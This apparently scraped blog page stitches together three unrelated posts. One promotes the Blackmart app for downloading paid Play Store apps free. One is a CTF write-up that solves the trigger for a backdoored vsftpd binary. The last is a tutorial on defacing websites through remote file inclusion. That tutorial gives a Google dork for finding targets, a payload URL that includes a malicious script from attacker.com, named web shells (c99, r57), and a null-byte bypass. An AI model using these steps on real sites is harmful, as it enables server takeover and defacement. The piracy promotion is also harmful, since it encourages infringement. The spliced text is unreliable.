Wednesday, May 31, 2023

DOWNLOAD BLACKMART ANDROID APP – DOWNLOAD PLAYSTORE PAID APPS FREE

Android made endless possibilities for everyone. It introduced a platform where are millions of apps that a user can download and buy depending on their needs. You're thinking about Google PlayStore, yes I am also talking about Google PlayStore. It's categorized app collection depending on every niche of life. Few of them are free and some of them are paid. Most of the paid apps are only charges small cost in between $2 to $8, but few apps are highly costly that make cost over $50 even, which is not possible for every user to buy and get benefit from it. So, here I am sharing a really useful app, that can make every Google PlayStore app for you to download it for free. You can download any paid app that may even cost about $50. It's totally free. Download blackmart Android app and download google play store paid apps freely.

DOWNLOAD BLACKMART ANDROID APP – DOWNLOAD PLAYSTORE PAID APPS FREE

  • It's extremely easy to use.
  • It has a Multilingual option for a global user experience.
  • The app doesn't ask for any payments.
  • Capable to download full of downloadable applications.
  • Super fast in downloading and installation.

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Vsftpd Backdoor - Ekoparty Prectf - Amn3S1A Team

It's a 32bits elf binary of some version of vsftpd, where it have been added a backdoor, they don't specify is an authentication backdoor, a special command or other stuff.

I started looking for something weird on the authentication routines, but I didn't found anything significant in a brief period of time, so I decided to do a bindiff, that was the key for locating the backdoor quickly. I do a quick diff of the strings with the command "strings bin | sort -u" and "vimdiff" and noticed that the backdoored binary has the symbol "execl" which is weird because is a call for executing elfs, don't needed for a ftp service, and weird that the compiled binary doesn't has that symbol.





Looking the xrefs of "execl" on IDA I found that code that is a clear backdoor, it create a socket, bind a port and duplicate the stdin, stdout and stderr to the socket and use the execl:



There are one xrefs to this function, the function that decides when trigger that is that kind of systems equations decision:


The backdoor was not on the authentication, it was a special command to trigger the backdoor, which is obfuscated on that systems equation, it was no needed to use a z3 equation solver because is a simple one and I did it by hand.



The equation:
cmd[0] = 69
cmd[1] = 78
cmd[1] + cmd[2] = 154
cmd[2] + cmd[3] = 202
cmd[3] + cmd[4] = 241
cmd[4] + cmd[5] = 233
cmd[5] + cmd[6] = 217
cmd[6] + cmd[7] = 218
cmd[7] + cmd[8] = 228
cmd[8] + cmd[9] = 212
cmd[9] + cmd[10] = 195
cmd[10] + cmd[11] = 195
cmd[11] + cmd[12] = 201
cmd[12] + cmd[13] = 207
cmd[13] + cmd[14] = 203
cmd[14] + cmd[15] = 215
cmd[15] + cmd[16] = 235
cmd[16] + cmd[17] = 242

The solution:
cmd[0] = 69
cmd[1] = 75
cmd[2] = 79
cmd[3] = 123
cmd[4] = 118
cmd[5] = 115
cmd[6] = 102
cmd[7] = 116
cmd[8] = 112
cmd[9] = 100
cmd[10] = 95
cmd[11] = 100
cmd[12] = 101
cmd[13] = 106
cmd[14] = 97                    
cmd[15] = 118
cmd[16] = 117
cmd[17] = 125


The flag:
EKO{vsftpd_dejavu}

The binary:
https://ctf.ekoparty.org/static/pre-ekoparty/backdoor


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HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
  1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
  3. Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.
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